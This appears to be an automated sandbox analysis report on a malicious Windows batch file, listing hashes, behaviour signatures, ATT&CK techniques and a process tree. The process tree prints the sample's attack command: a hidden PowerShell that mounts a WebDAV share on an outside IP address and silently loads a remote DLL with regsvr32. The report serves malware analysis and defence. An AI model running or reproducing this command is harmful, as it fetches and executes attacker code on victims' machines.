32abcf421523d8cb99016a11655de65f76a8c7ca074e51a83e549127b73a5f4d

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20-07-2024 05:35

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General

Target

27810222482427612616.bat
Size

17KB
MD5

f950f3e97d8fbde8ccf55f5e58552acc
SHA1

95e2a9202403339f5abd407d82bd7380ff39b128
SHA256

32abcf421523d8cb99016a11655de65f76a8c7ca074e51a83e549127b73a5f4d
SHA512

f99cb779a289295bdbcc8c1daab6c3690f3bf7186593a95468746b5583890538bb0d97510e109eaec324dad6099da1aeedc9bc128856a531c155478541d1c5af
SSDEEP

192:ei1fVOTcxXUMK70h0nQq14O3voiLHYTHFaOY84ppeyYw2q9RX2nGt88o88dAXcAT:ei7xXUMK7Z1NvfHYhR4PYV0c/teijwp

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2416	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2828	wordpad.exe
2828	wordpad.exe
2828	wordpad.exe
2828	wordpad.exe
2828	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 2828	2092	cmd.exe	31
PID 2092 wrote to memory of 2828	2092	cmd.exe	31
PID 2092 wrote to memory of 2828	2092	cmd.exe	31
PID 2092 wrote to memory of 2416	2092	cmd.exe	32
PID 2092 wrote to memory of 2416	2092	cmd.exe	32
PID 2092 wrote to memory of 2416	2092	cmd.exe	32
PID 2416 wrote to memory of 2552	2416	powershell.exe	34
PID 2416 wrote to memory of 2552	2416	powershell.exe	34
PID 2416 wrote to memory of 2552	2416	powershell.exe	34
PID 2416 wrote to memory of 2572	2416	powershell.exe	35
PID 2416 wrote to memory of 2572	2416	powershell.exe	35
PID 2416 wrote to memory of 2572	2416	powershell.exe	35
PID 2416 wrote to memory of 2572	2416	powershell.exe	35
PID 2416 wrote to memory of 2572	2416	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\27810222482427612616.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2092
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\20771511422321.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2552
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\20771511422321.dll
    3⤵
    PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2416-23-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2416-24-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download